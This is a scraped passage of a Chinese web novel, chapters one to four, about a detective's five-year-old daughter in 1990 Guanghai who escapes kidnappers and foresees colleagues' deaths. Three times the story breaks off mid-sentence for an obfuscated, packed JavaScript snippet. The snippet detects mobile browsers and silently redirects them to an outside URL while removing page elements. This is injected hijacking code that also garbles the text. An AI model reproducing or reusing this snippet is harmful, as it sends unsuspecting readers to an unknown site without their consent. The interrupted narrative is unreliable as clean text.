《警队小福星五岁半[九零]》 1. 劫持 《警队小福星五岁半》 桑又西/文,晋江文学城独发 2025.4.15首发 第一章 1990年,广海市。 今年的盛夏格外燥热,连树上的蝉也忍受不住灼灼烈日,蛰伏在树梢间没了声响。 虞禾禾背着米老鼠红色书包,隔着围栏趴在幼儿园的矮墙上,眼巴巴地看着树荫下买冰棍的行人们,馋得咕咚咽了下口水。 她长得玉雪可爱,一双乌黑黝亮的杏眸写满对冰棍的渴望,惹得路人忍不住隔着围栏逗她:“小妹妹,你让我摸摸你的小揪揪,我请你吃根大豆糕好不啦?” 冰棍一根一毛钱,大豆糕一根要三毛钱。 禾禾作为一个小吃货,对雪糕的价钱再清楚不过了,不过…… “谢谢姐姐,不过不可以啦。” 她露出甜甜的笑容,动作却是警惕地后退,还不忘捂住头顶的两个小揪揪,“爸爸说了,不能让陌生人碰禾禾,禾禾也不能吃陌生人的东西。” 路人被她的举动逗得捧腹大笑,又连连夸了几声可爱,才一步三回头地走掉了。 “虞禾禾,你是不是大笨蛋啊?” 目睹全过程的同班同学张小胖跑过来,哈喇子流了出来,“大豆糕多好吃呀,人家白给你都不要。” 张小胖吸溜一声,把流出来的口水吸回去,眼睛盯着路人消失的方向舍不得挪开:“要是她肯请我吃根大豆糕……我跟她走都行。” 虞禾禾板着小脸,严肃地摇摇头:“张小胖,我爸爸说了,有些坏人会用好吃的骗走我们小孩,把我们卖到很远很远的地方。” 张小胖还是第一次听说会有人骗小孩,幼小的世界观都被重建了:“我们会被卖多远啊?” 这个问题可难住了禾禾,她歪着脑袋想了好久,也没有得出结论:“这个……我也不知道,我爸爸没告诉我。” 张小胖不由得有些怀疑:“你爸爸该不会是在骗你吧?” 禾禾听到张小胖质疑爸爸,糯米团子似的小脸急得染上粉色:“哼!我爸爸才不会骗我,我爸爸是警察,专门抓坏人的!他是全世界最最最厉害的爸爸!” 两人的童言童语传进保育老师陈玉珍的耳中,她笑着走上前,牵起禾禾的手,称赞道:“禾禾真聪明,听爸爸的话是对的。老师决定——给你买一根大豆糕作为奖励!” 陈玉珍说出这句话的时候,心都在滴血。 一根大豆糕三毛钱呢!她在这个破幼儿园上班,一天才能赚一块钱,只能买得起三根大豆糕。 【宿主,舍不得孩子套不着狼哇!这可是你和虞禾禾增进感情的好机会,你只要拿下虞禾禾,还用担心拿不下女儿奴虞光城吗?!!】 系统在陈玉珍耳边提醒道。 陈玉珍听到系统的话,咬咬牙,狠心从手帕里掏出叠得整整齐齐的三毛钱。 她前两天绑定了这个攻略系统,才知道自己生活的世界其实是一本小说。这本书的男主角是虞禾禾的父亲虞光城,虞光城长相英俊又能力出众,现担任广海市公安局刑侦科支队长。 九十年代的广海市并不太平,罪犯猖獗。 虞光城作为“广海市的警界之星”,从业后屡破奇案,是无数犯罪分子恨之入骨的存在。未来的两年间,他的女儿、恋人、兄弟、师父……会在犯罪分子的蓄意报复下相继离世。 虞光城从此一蹶不振,直到命定女主角出现,才慢慢走出阴霾下海经商,最后成了全国有名的首富大佬。 陈玉珍从系统口中得知——她,陈玉珍,就是虞光城的命定女主角! “老师,老师……” 张小胖黑乎乎的小胖手伸向前,打扰到陈玉珍的美梦,“你为什么只给禾禾买大豆糕,我也想吃……” 陈玉珍躲闪不及,刚买的白色雪纺衫被抓出一道黑手印。 这件衣服是她托人从香江带回来的,知道今天虞光城会来接虞禾禾,才特意穿出来,想给虞光城留下深刻的第一印象。 可现在……一切都被面前这个熊孩子毁了。 她气得跺跺脚,眼泪在眼眶里打转:“张小胖!你快给我滚到车里去!” 陈玉珍吼出这句话的嗓门很大,惹得校车里的小朋友纷纷趴在窗户边观察——张小胖把珍珍老师气哭了。 三四岁的小孩子,正是最崇拜最喜欢老师的年纪。 看到老师被张小胖弄哭了,小朋友们对张小胖的态度都变得微妙起来。见他上车,从窗边一哄而散,有好朋友的拉着好朋友坐在一起,没有好朋友的就把书包放在旁边的座位上,都不想挨着张小胖。 张小胖完全没有意识到这一点,还趴在窗边嗦手指头,羡慕地望着陈玉珍牵禾禾走出幼儿园的背影。 …… 禾禾乖乖跟着陈玉珍走出幼儿园,陈玉珍雪纺衫上的黑手印晃呀晃,晃得她眼睛都要花了。 她看到陈玉珍哭得红红的眼睛,踮起脚尖,想学着大人安慰她的样子拍拍老师的后背,但身高有限,只能够得到陈玉珍的腰:“珍珍老师你别难过,禾禾家有香香肥皂,禾禾明天给老师带来,肯定能把衣服洗得干干净净。” 陈玉珍垂眸看着安慰她的小不点儿,心里又暖又涩,忍不住伸手揉了揉禾禾的发顶:“那老师先谢谢禾禾啦。” 一开始,她是为了攻略虞光城,才选择好好对待虞禾禾。但跟虞禾禾相处久了,她才知道这个小女孩到底有多招人喜欢。 可是…… 陈玉珍想到书中虞禾禾的结局,眸色黯了黯。 未来某一天,一伙绑匪为了报复虞光城,会在某天放学后劫持虞禾禾,然后将她残忍杀害。 陈玉珍有些于心不忍,忍不住在心里询问系统:“系统,禾禾的死亡剧情真的没有办法避免吗?” 系统迟迟没有回应。 下一秒,一辆“大黑鲨”摩托车横窜而出,霸道地碾压过绿化带,直勾勾冲陈玉珍的方向撞来。 陈玉珍吓得双眸微张,下意识护住身旁的虞禾禾。摩托车后座的蒙面男见状,胳膊伸进怀里掏出一把刀,狠狠砍向陈玉珍。 刀刃在阳光下泛起骇人寒光,陈玉珍在求生本能的驱使下,松开护着禾禾的手。 后座的蒙面人抓住时机,长臂一捞,将虞禾禾带上摩托车,夹在车座中间。 “大黑鲨”加足马力扬长而去,只留下陈玉珍在原地慌了神,她不知道该怎么办,只能找系统求助:“系统!系统!禾禾被他们抓走了!” 陈玉珍呼唤了好几声,迟迟没有动静的系统姗姗来迟,电子机械音透出刺骨的寒意:【宿主,剧情线提前,今天下午,虞禾禾会死在绑匪手上。】 陈玉珍终于反应过来,她好像中了系统的圈套:“你故意让我带虞禾禾出来买雪糕,是为了绑匪能顺利劫走虞禾禾?!!” 系统:【不愧是我选中的宿主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490903|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够聪明。现在只需要等待虞禾禾被绑匪撕票,我们对虞光城的攻略就可以提上日程了。】 树上蝉鸣聒噪,吵得陈玉珍头晕眼花,她捂着鲜血汩汩流淌的手腕,冷意从脚底蹿上全身:“不行,我要报警,让虞光城去救禾禾!” 她穷了小半辈子,最大的梦想就是当个有钱人。 知道自己将来会成为首富太太,她这几天做梦都能笑醒,也期待剧情发展的速度更快些。 但她从来没有想过,虞禾禾会死在今天,而她,也成了推动虞禾禾被绑架的凶手之一。 陈玉珍不再迟疑,一边扯着嗓子高声呼救,一边跑进电话亭去拨报警电话,电话接通的瞬间,她几乎是靠吼才有勇气把话说完:“请帮我接刑侦科的虞光城,我是他女儿的幼儿园老师,禾禾她被坏人抓走了!” …… 虞禾禾缓缓睁开眼睛,最先嗅到的是刚出炉的烧鹅香气。 她吸吸小鼻子,烧鹅的脆皮油香味一股脑儿地蹿进鼻腔。四下张望,只看到铺满水泥的陌生房间光线昏暗,她的米老鼠书包被扔在角落,蒙上一层白灰。 禾禾小手撑地站起来,跌跌撞撞走到角落抱住书包,心疼地拍掉书包上的灰尘。 这个书包是妈妈去世前买给她的礼物,她平时一直可爱惜了。 禾禾把书包搂在怀里,学着幼儿园老师平时的样子,奶声奶气地乖哄书包:“书包不痛哦~不痛~” 她一边哄,一边仰起脖子打量周围,整间房子里除了她,没有其他人的身影。 她只记得放学的时候,出现了两个戴面具的坏人,割伤珍珍老师的手腕,强行抱走了她。 那两个坏人用手帕捂住她的鼻子,她都没来得及喊救命,就晕倒了。 想到这里,禾禾赶紧背好书包,想要偷偷跑掉。 她走到门口,踮起脚尖努力够到门把手,用力一拧,门把手分毫未动——房门被坏人从外面锁住了。 与此同时,门外,响起一个男人的声音:“老大,我们什么时候解决掉这个小丫头?” “不急,等会儿转移了楼下的货,放把火直接把厂房和虞光城的女儿一起烧了。” 男人声音阴冷滑腻,像是一条吐着信子的毒蛇,隔着门板钻进禾禾的耳朵里。 禾禾吓得连忙缩回抓门把手的小手,捂着小嘴后退几步,大气都不敢喘。 两个坏人为了报复爸爸,把她抓到这里,现在还想要烧死她! 禾禾的小腿微微发颤,只能握紧小拳头,努力给自己加了好几次油,才终于把眼泪憋回去。她告诉自己不要慌张,要用爸爸以前教给她的方法,想办法自救。 她努力想啊想啊,大脑都想宕机了,还是没有想出跑掉的办法。 禾禾好不容易憋回去的眼泪彻底决堤,就在这时,她的眼前突然闪现出画面—— 两个蒙面男人把她绑在柱子上,在周围浇满汽油,火势迅速蔓延,呛得她睁不开眼睛。 火势以摧拉枯朽之势迅速蔓延开来,男人们来不及逃跑,同样被困在火场中。就在他们以为必死无疑的时候,竟然在房间里发现一条密闭的地道。 两人推推搡搡,慌忙躲进地道,最后成功从火灾里活了下来,还逃脱了警察的追捕… 在爸爸带着刑侦科的叔叔阿姨赶来时,她已经被大火烧得奄奄一息了。 最后,她连一句话都来不及和爸爸说,闭上眼睛,没了气息。 2. 逃脱 第二章 禾禾被眼前像电影一样的场景吓了一跳。 她急忙用小手捂住眼睛,过了好一会儿,她的双手慢慢从眼前挪开,再次看去,画面已经消失了。 禾禾吞了口唾沫,抱着小书包,走到画面里两个男人在大火中藏身的地方。她学着两人当时的样子,小胖手紧紧扒住水泥砖片的缝隙,小脸涨得通红,连吃奶的力气都使出来了,终于挪动了砖片。 砖片缓缓挪开,竟然真的出现了画面中的地道! 禾禾惊喜极了,小鹿眼亮了亮。她小心翼翼挪到地道边缘,探着身子朝下面看,地道距离上面并不是很高,但黑洞洞的有些吓人,好在墙壁侧面挂着一盏昏黄的壁灯。 她转过身子趴在地上,伸出一条小短腿努力去够地道的地面,门外,两个男人的调笑声又渐渐近了。 “也不知道那个小丫头片子醒了没,是不是吓得都尿裤子了,哈哈哈哈……” “她要是没醒,我就把她的手剁下来一只,寄给虞光城当礼物,呵呵。” 禾禾听到两人的对话,吓得一脚踩空,重重跌进地道里,水泥砖片自动合上,地道通道的光源只剩下唯一的那盏壁灯:“呜呜呜……好痛……” 她疼得泪水直流,刚哭出声,又猛得意识到自己还处于危险之中,连忙把哭声咽回去。 她抽抽鼻子,抱着摔破的米老鼠书包,一瘸一拐地摸着墙壁往前走。 画面里,两个坏人就是顺着地道一直往前走,最后才成功从火场逃掉的。那她只要学两个坏人往前走,肯定也可以找到爸爸! 禾禾想到这里,抬起肉乎乎的手背擦干眼泪,嘴里小声喃喃着给自己鼓劲:“禾禾不哭,去找爸爸……抓坏人!” …… 禾禾不知道自己走了多久,双腿像是绑上重重的沙袋,抬都抬不起来。 她一屁股跌坐在地上,瘪了瘪嘴,又想哭。就在这时,一阵炸鸡腿的香味从前方飘过来,勾得她肚子咕咕叫。 禾禾低头摸摸饿瘪的肚肚,咬咬牙,小手撑着地,反复支撑了几次,才终于从地上爬起来。一路上,她一边吸鼻子闻大鸡腿的味道,一边摸着咕咕叫的小肚肚往前走。 越往前走,炸鸡腿的香味越浓郁勾人,等禾禾回过神,才发现自己已经走出地道,正站在炸鸡腿摊前吞口水。 这是一条狭窄的居民巷,来来往往的人很多,特别是这家炸鸡腿店,店门口排着长龙似的队伍。 禾禾知道她暂时摆脱了两个坏人,摸摸胸脯,给自己顺了顺气。 她拍拍软乎乎的小脸,强迫自己拒绝炸鸡腿的诱惑,小鹿眼警惕地四处看看,看到一个面容慈祥的阿婆坐在路灯底下,摇着蒲扇闭眼纳凉。 禾禾乖乖背好米老鼠书包,双手握紧书包背带,走上前向阿婆求助,声音像小猫似的软软的:“阿婆,你好,我和爸爸走散了,您可以带我去附近的派出所吗?” 阿婆停下蒲扇,睁开眼睛,看了看还没她腰高的小丫头。 女孩的小脸斑驳,全身糊满泥点,灰扑扑的,只有一双小鹿眼亮得出奇。背带裤的左腿膝盖处擦出大洞,露出半条小腿,看着要多可怜有多可怜。 这块是广海市的城中村,鱼龙混杂,也不知道这个小孩遭受了些什么。 阿婆心疼地摸摸禾禾的发顶,扯着嗓子朝炸鸡店里吆喝了一声:“阿诚!拿油纸包两个鸡腿,出来跟奶奶走。” 叫阿诚的青年应了一声,很快从炸鸡店走出来,大手上搭着张油纸,油纸里包了两个香喷喷的炸鸡腿:“奶,给你鸡腿。” 阿婆接过鸡腿,递到禾禾面前,慈爱地笑笑:“饿坏了吧,咱们边吃边走,阿婆现在就带你去派出所。” 阿诚这才注意到,阿婆身边还蹲着一个脏兮兮的可爱小孩。小孩乖乖巧巧的,接过鸡腿偷摸吞了好几次口水,愣是一口没吃,他忍不住起了逗弄的心思:“怎么?没给钱你不敢吃啊?” 禾禾时刻谨记爸爸的叮嘱,不敢吃陌生人的东西。 她没有回答,只是仰起脸,冲阿诚甜甜地笑。 这一笑,阿诚的心都化了——他还从来没见过这么可爱懂事的小孩。 阿诚不好意思再逗禾禾,索性大手一拎,把禾禾的米老鼠书包随意搭在手臂上,蹲下身,对禾禾说:“小孩,哥哥背你,和阿婆一起送你去派出所。” 禾禾今天走了太多的路,小短腿现在还微微打颤,的确走不动了。 她没有犹豫,乖乖走上前,趴在阿诚的背上:“谢谢哥哥。”又扭头看向阿婆:“也谢谢阿婆~” 最近的派出所和炸鸡店只隔着两条街。 禾禾趴在阿诚的背上,看到熟悉的派出所牌子,又看看手里油汪汪的大鸡腿,还是没忍住,啊呜一口咬住鸡腿。 大鸡腿的酥皮又香又脆,里面肉汁鲜嫩,香得禾禾差点儿把舌头一起吞掉。 吃了第一口,禾禾再也忍不住了,很快咬下第二口。等进派出所坐下,她已经把两个大鸡腿都吃得干干净净,鸡骨头上连一点儿肉渣都不剩。 阿婆和阿诚看着禾禾啃鸡腿的模样,欣慰地相视一笑。 “小孩。” 阿诚蹲下身子,让禾禾坐到派出所的凳子上,帮她拍干净米老鼠书包上的灰尘,说:“告诉这两个警察叔叔,你爸叫什么名字,你家住哪儿。” 禾禾乖乖点头,开口:“警察叔叔,我爸爸是虞光城。” 听到她的话,对面的两位派出所民警瞬间愣住了。 …… 十几分钟后,一辆黑色的警用吉普车开进沙川派出所。 虞光城长腿一跨,走出黑色吉普车的驾驶室。他顾不上整理衬衫上的褶皱,大步流星走进派出所大厅,整个人的声音都在颤抖:“禾禾?禾禾在哪里?” 禾禾听到爸爸的声音,从派出所的长椅上跳下来,哒哒哒跑上前扑到虞光城身上,欢欣雀跃:“爸爸!” 虞光城身体猛得一僵,垂眸看清抱住他大腿的小小身影,眼眶一酸。 他连忙弯下腰,把禾禾小心翼翼地抱进怀里。感受着怀里沉甸甸的重量,虞光城终于松了口气,他的脸埋进禾禾的发顶,对着禾禾头上的小揪揪亲了又亲。 天知道这三个多小时他是怎么过的…… 他差点儿以为这辈子再也见不到女儿了。 “回来就好,回来就好……” 虞光城喃喃了半天,慢慢从失而复得的喜悦中回过神,才顾得上仔细端详虞禾禾。 他不看还好,一看到禾禾的小脸满是泥污,藕节似的胳膊和小腿上几处擦伤,眼泪瞬间下来了:“对不起,对不起禾禾,都怪爸爸……都怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490904|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸,是爸爸没有照顾好你。” 禾禾从被坏人抓走到刚才,一直在心里告诉自己要坚强,愣是一声都没哭。 她现在面对流泪的爸爸,茫然片刻,忍不住鼻头一酸,放声大哭:“哇……爸爸……两个坏人要烧死禾禾……禾禾躲进了黑黑的下水道……阿婆和哥哥把禾禾送到了派出所,炸鸡腿好好吃……爸爸抓坏人……” 禾禾边哭边说,基本是想到什么说什么,有些语无伦次。 虞光城耐心地听女儿讲述今天经历的一切,难受得心揪成一团,轻声乖哄着禾禾:“爸爸会抓到坏人的,禾禾乖,不哭了啊……” 禾禾趴在虞光城肩头,哭得抽抽搭搭,不一会儿,哭泣声渐渐变得越来越微弱。虞光城低下头看了眼,才发现禾禾已经睡着了。 派出所的两位值班民警见状,声音压低了些:“虞支队,不管怎么说,孩子找到了就好。” 他们询问过送禾禾来派出所的阿婆,阿婆并不清楚禾禾是从怎么来到她家炸鸡店门口的。 具体情况,怕是只能等禾禾醒来问她本人。 …… 虞光城对两位派出所民警道了谢,又要来阿婆家炸鸡店的地址,打算改日亲自登门道谢。 他拾起禾禾遗落在派出所长椅上的书包,挎在手臂上,抱着熟睡的禾禾轻手轻脚走出派出所,打开后座车门,把禾禾平放在后座,盖好衣服,驱车离开。 一路上,虞光城车速放得很慢,他时不时透过后视镜去看熟睡的禾禾,凌厉俊朗的眉峰终于慢慢舒展开来。 他的妻子上官婕和他是警校同学,三年前牺牲在一场缉毒行动中。妻子的离世对于他而言,是毁灭性的打击,他是想着当时还不到两岁的女儿禾禾,才逼迫自己强行振作起来的。 他根本不敢想象,如果禾禾今天真的出了意外,他该怎么办…… 吉普车缓缓开进广海市公安家属楼,几户人家听到吉普车引擎熄火的动静,不约而同地从窗口探出头,看清虞光城怀里抱着禾禾,所有人都松了口气。 住在一楼的程国生在老伴王秀珍的搀扶下,从屋子里慢慢走出来。 程国生每到晚上,视力下降得厉害,眯起眼睛仔仔细细打量着睡熟的禾禾,确定禾禾没有因为今天的事情受到惊吓,脸上终于露出了笑脸:“找到就好,找到就好。秀珍呀,明天早上去市场买只烧鹅吧,咱们和禾禾一人一半,她爱吃这个。” 王秀珍说了声知道,扯了下程国生的袖口,提醒:“光城也累了一天,你别在这儿碍事,让他赶紧带着禾禾回去休息。” 虞光城跟着点点头,对程国生微笑开口:“师父,您和师娘放心,禾禾没事。” 他低头看向怀里的女儿,脸庞棱角分明的线条变得柔和不少:“禾禾很聪明,不知道用了什么办法,竟然从那两个绑匪手里逃掉了。等明天我们去了局里,再商量怎么抓那两个畜生。” 刑侦科下午接到陈玉珍的报警电话后,开始在全城范围内全力追查骑“大黑鲨”的面具绑匪。但是,他们从沙川派出所得到禾禾的消息前,愣是没有找到除了陈玉珍以外任何一位目击证人。 程国生想到禾禾被抓走的原由,笑容收敛几分:“好,咱们明天再商量。” 几十年的老刑警经验告诉他,这个陈玉珍身上,一定有秘密。 3. 缉凶 第三章 凌晨,禾禾还沉浸在睡梦中,梦里,有个声音告诉她,她生活的世界是一本年代文。 禾禾不懂什么是年代文,她想问清楚,却张不开嘴巴,只能被迫听那道声音对她絮絮叨叨:“你爸爸虞光城是这本年代文的男主角,不久以后,你爸爸的同事们会陆续牺牲。他从此一蹶不振,直到遇到心爱的女人顾漾漾,你爸爸才慢慢走出阴霾。” “你要做的,是撮合你爸爸和顾漾漾,让他们组建幸福的家庭。你爸爸会辞职下海经商,成为全国首富,而你——也会成为首富千金。我说的这一切,你都听明白了吗?” 禾禾的小脑袋瓜艰难地消化着一连串话,她垂下脑袋,思索半晌,认真地摇摇头。 系统差点儿被她的反应气吐血。 它根本没想到,自己第一次做任务就接连受挫,炮灰虞禾禾没有死在绑匪手里,莫名其妙地逃了出来。恶毒女配陈玉珍在虞禾禾被抓走以后,没有选择袖手旁观,甚至第一时间报了警。 一连两大转折,让初始剧情发生了变化。 系统刚刚从主系统处得知,虞禾禾在剧情里顺利活了下来,不会再被意外抹杀。这也代表着——男主虞光城和女主顾漾漾之间的感情会出现很多未知变数。 男女主如果不能在一起,它作为系统,也会被主系统抹杀。 系统想到这里,心急如焚,恨不能化出实体拎起禾禾晃晃。它只好耐着性子又重复了一遍刚刚的话术。 …… 太阳透过粉色窗帘洒满房间,又是新的一天。 禾禾从床上坐起来,身上还罩着碎花小被子,她掀开被子,膝盖上的伤口已经被爸爸包扎好了。她盯着腿上纱布绑出的漂亮蝴蝶结,慢慢回想起那道声音对她说的话。 爸爸的同事们会陆续牺牲……爸爸会和其他人组建新家庭。 禾禾终于从那一大段话里消化掉关键信息——刑侦科的叔叔阿姨还有程爷爷……他们……都会死掉吗? 她想象着大家死掉的样子,心脏不由得一抽一抽得疼,眼眶慢慢红了。 她可以接受爸爸组建新家庭,但她不能接受刑侦科的叔叔阿姨还有程爷爷死掉!!! 一阵敲门声打断了禾禾的思绪,她跳下床,趿拉起米老鼠拖鞋,哒哒哒跑到门口,站到小板凳上透过猫眼往外看:“时泽哥哥!” 看到来的是程国生的孙子程时泽,禾禾高兴地拧开门锁。 程时泽今年十一岁,因为常年生病,比同龄人瘦削很多,皮肤偏向病态的冷白。他端着一个褪色的搪瓷花碗走进门,牵起禾禾的小手,把她从小板凳上安全牵下来,才走进屋子里。 “我爷爷奶奶让我把这碗烧鹅给城叔和你送过来。” 程时泽把搪瓷碗轻轻放在茶几上,碗里盛着几块码得整整齐齐的烧鹅。 禾禾趴在碗边,小鼻子隔空嗅了嗅烧鹅的味道,幸福地眯起小鹿眼:“好香呀~谢谢时泽哥哥!” 听到客厅的动静,虞光城拉开厨房的门,系着围裙走出来,一只手里还举着汤勺:“小泽来得刚好,我炖了红枣黄芪鸡汤,很补的,盛一些带回去和师父师娘一起喝。 ” 说完,他不等程时泽拒绝,盛了满满一保温桶鸡汤递到程时泽手里:“快回去吧,汤放凉就不好喝了。装烧鹅的碗,我一会儿带下去。” 程时泽性子有点孤僻,平时除了跟禾禾能多说几句,在其他人面前很少开口,自然不知道该怎么拒绝虞光城的好意。 他拎着虞光城强塞到手里的保温桶,憋了半天,才闷闷地憋出句感谢:“谢谢城叔,那我先走了。” 程时泽轻轻合上防盗门,楼道里响起他的脚步声。 不一会儿,脚步声彻底消失,虞光城才回到厨房,轻轻叹了口气。 时泽这个孩子也是可怜,身体先天不足,父母和禾禾的妈妈一样,牺牲在了某次行动中。程国生和王秀珍老两口每个月大半收入都砸在程时泽身上,他的身体却一直不见好,程家的日子也过得越来越拮据。 老两口有骨气,也不愿意麻烦众人,虞光城屡次试图给程国生塞钱,都被程国生生气地拒绝了。最严重的一次,程国生差点儿当场跟他翻脸。 从那以后,虞光城再也不敢提给钱的事,只能平日里给老两口送点他们舍不得买的吃喝。 …… 虞光城端着炖汤的砂锅走出厨房,面对禾禾,他卸下眉宇间的愁绪,露出一副笑脸:“禾禾吃饭啦。” 闻到香喷喷的鸡汤味,禾禾迫不及待地捧起茶几上盛烧鹅的碗,一路哒哒哒小跑到餐桌前,踮起脚尖,把烧鹅碗小心翼翼地推到桌子中间,乖乖道:“禾禾帮爸爸端烧鹅!” “谢谢禾禾,禾禾真棒。” 虞光城不吝啬对女儿的夸奖,一边夸,一边舀了碗鸡汤递到禾禾面前。 禾禾夹起一块烧鹅嘎吱嘎吱吃得正香,看到爸爸递来的汤,很捧场地舀起满满一勺喝掉:“爸爸煲的汤好好喝!我今天去幼儿园,要给所有的小朋友都夸夸爸爸煲的汤!” 虞光城伸出胳膊,替禾禾擦掉嘴角的油渍,和她温柔地商量道:“禾禾今天不去幼儿园了好不好?禾禾跟爸爸一起去抓绑架你的坏人。” 禾禾眼睛瞬间亮了,她放下汤勺,小手握成拳头,做出冲击的姿势:“好耶!禾禾要和爸爸去抓坏人!” 见禾禾欢欣雀跃的模样,虞光城心里的石头慢慢落下来,他给禾禾又喂了口鸡汤,像是聊天一般开口:“禾禾真勇敢,那禾禾记不记得,坏人把禾禾带到了什么地方?” 禾禾拿小叉子叉了块烧鹅,扭扭身子,往椅子里靠了靠:“记得!是一个水泥房子!房子里能闻到烧鹅的香香味道!是爸爸经常给我买的烧鹅!” 她把烧鹅塞进嘴巴,顶得腮帮子鼓鼓的,含糊不清地说:“水泥房子有黑黑的地道!我是从地道里面跑出来的!” 禾禾能说出的信息不多,但对于虞光城来说,已经足够了。 他经常给禾禾买烧鹅的店铺是一家百年连锁老字号,叫鹅顺斋。有了这条线索,他相信,很快就能找到绑匪昨天关押禾禾的地方。 …… 两人吃完饭,虞光城收拾好碗筷,替禾禾扎好小辫子,单手抱起她出了门。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490905|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 禾禾经常跟着虞光城来公安局,甚至可以说,她是在局里大家的照顾下长大的。特别是刑侦科的几人,从一开始的几个愣头青,慢慢变成会照顾小孩的“全能警探”。 看到禾禾的到来,刑侦科的几人停下手里的工作,噌得一下凑过来。 “禾禾没受伤吧?天杀的绑匪!老子要把他的头拧下来当球踢!” “真是虎父无犬女啊,听说禾禾是自己从绑匪手里逃出来的,真聪明呀!” “禾禾过来,让阿姨亲亲,阿姨差点儿被吓死……” 禾禾一向讨人喜欢,早早习惯了大家的热情。面对大家的关心,她大方地打开随身背的小挎包,敞开拉链,露出里面的糖果:“雅雅阿姨吃糖,吕叔叔吃糖,晓鸣哥哥也吃糖!” 石雅笑眯眯地蹲下身子,亲亲禾禾的脸蛋,从她的小挎包里掏出一颗玉米硬糖,剥开包装纸,扔进自己嘴里:“谢谢禾禾啦~” 娄晓鸣见鬼似的瞄了眼石雅,趁对方不注意,偷偷搓了搓胳膊上激起的鸡皮疙瘩。 吕横瞅到娄晓鸣的动作,笑呵呵地露出一口大白牙:“你刚来咱们刑侦科不知道,‘铁娘子’每次只要见到禾禾,才会瞬间化身‘水娘子’。” 石雅抱起禾禾,起身的瞬间,用鞋跟狠狠跺了下吕横的脚背。吕横疼得弯腰抱脚吱哇乱叫,脑袋一路窜红到脖颈。 娄晓鸣见状,吓得赶紧端起水杯逃离战场。 太可怕了……太可怕了…… 真不愧是广海市公安局最不好惹的铁娘子,他今天算是见识到了。 禾禾趴在石雅的肩头,抿嘴偷笑,只留下灵动的小鹿眼暴露在外面,滴溜溜地转着。 她真的好喜欢刑侦科的叔叔阿姨们呀,只要叔叔阿姨们能一直平平安安,她愿意一辈子都不吃烧鹅! 禾禾在心底虔诚许愿。 这时,她的眼前突然再次浮现出画面—— 雅雅阿姨瘫倒在地上,唇色青紫,她哆嗦着伸手去够不远处的药瓶,指尖即将触碰到药瓶,一只穿着绿色解放鞋的肮脏大脚突然出现,重重碾碎了她的药瓶。 禾禾吓得一哆嗦。 回过神时,她还坐在石雅怀里,刑侦科的几人围坐在一起,正在分析绑架案的案情。 虞光城握着一支黑色马克笔,骨节分明的大手在白板上飞快写字:“根据禾禾告诉我的信息,目前能推测出,她昨天被绑匪关在某家鹅顺斋附近的水泥毛胚房,房间内有秘密地道,地道连接到沙川辖区叶氏炸鸡店附近。两名绑匪没有捆绑禾禾,这就代表,他们很笃定禾禾即使醒来也逃不掉。” 可以说明两点——第一,绑匪们不知道关押禾禾的房子有地道;第二,关押禾禾的地方人烟稀少,绑匪不担心禾禾的求救声会被人听到。 根据线索排除下来,虞光城迅速锁定了禾禾昨天被关押的区域,是城东最近刚停工的楼盘——紫玉坊。 石雅记录下整理出线索,立刻交到刑侦大队手里。 刑侦大队的人迅速出动,很快有了好消息传来——他们在紫玉坊门口发现那辆劫持禾禾的“大黑鲨”摩托! 4. 报复 第四章 刑侦大队的人顺藤摸瓜,很快抓到那两名绑架禾禾的绑匪,将他们押送回局里。 刑侦科众人目送绑匪被押进审讯室,不约而同地松了口气。 不同于大家发自内心的喜悦,禾禾咬着嘴唇,小脸上表情凝重,脑海里反复浮现出雅雅阿姨唇色青紫倒地的模样。 这是她第二次凭空看到奇怪的画面。 禾禾心底有一个声音告诉她,她看到的画面,是将来会发生的事情。雅雅阿姨和她一样,会遇到危险,会死掉。 禾禾忍不住看向石雅,石雅刚从手提包里取出白色哮喘药瓶,药瓶的样子和她在画面中看到的一模一样。 石雅拧开药瓶,倒出两粒药片,含着水仰头吞下药片。最近气温骤升,她的哮喘比平时严重很多,每天都得按时按点吃药。 吃完药,她长长地吸了口气,胸腔的呼吸比刚刚顺畅了许多:“禾禾,阿姨带你去喝糖水好不好呀?” 这次解救禾禾的行动,刑侦大队的同事付出的精力不比他们少,现在绑匪成功落网,不如请刑侦大队的同事们一起喝糖水吧! 石雅这样想道。 她在脑海里细细罗列了一遍每个人喜欢的糖水,列完以后,才后知后觉意识到禾禾没有回应她。 石雅疑惑地低头去看禾禾,禾禾眼眶通红,双眼直勾勾盯着她手里的药瓶,小嘴瘪着,一副马上就要哭了的模样。 “雅雅阿姨,你不要出事,呜呜呜……” 禾禾再也忍不住了,扑进石雅怀里,哇哇大哭。 